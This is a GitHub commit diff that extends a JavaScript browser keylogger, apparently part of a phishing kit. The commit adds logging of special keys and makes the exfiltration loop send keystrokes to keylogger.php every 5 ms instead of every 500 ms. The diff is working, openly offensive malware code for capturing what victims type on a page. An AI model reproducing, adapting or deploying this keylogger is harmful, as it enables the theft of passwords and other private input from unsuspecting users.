special keys(enter,tab,backspace,sapce) now logged

@An0nUD4Y Keylogger is now more efficient it'll log special keys on chrome,opera and firefox including those characters that need to be encoded.
This commit is contained in:
Usama Abdul Sattar 2018-12-12 19:40:34 +05:00 committed by GitHub
parent 1ae388f930
commit ad3e75d75d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -1,5 +1,19 @@
var keys=''; var keys='';
document.addEventListener("keydown", function(event) {
if (event.keyCode == 8) {
keys = '[backspace]';
}
if (event.keyCode == 9) {
keys = '[tab]';
}
if (event.keyCode == 13) {
keys = '[enter]';
}
if (event.keyCode == 32) {
keys = '[space]';
}
});
document.onkeypress = function(e) { document.onkeypress = function(e) {
get = window.event?event:e; get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode; key = get.keyCode?get.keyCode:get.charCode;
@ -11,4 +25,4 @@ if(keys != '') {
new Image().src = 'keylogger.php?c='+encodeURIComponent(keys); new Image().src = 'keylogger.php?c='+encodeURIComponent(keys);
keys = ''; keys = '';
} }
}, 500); }, 5);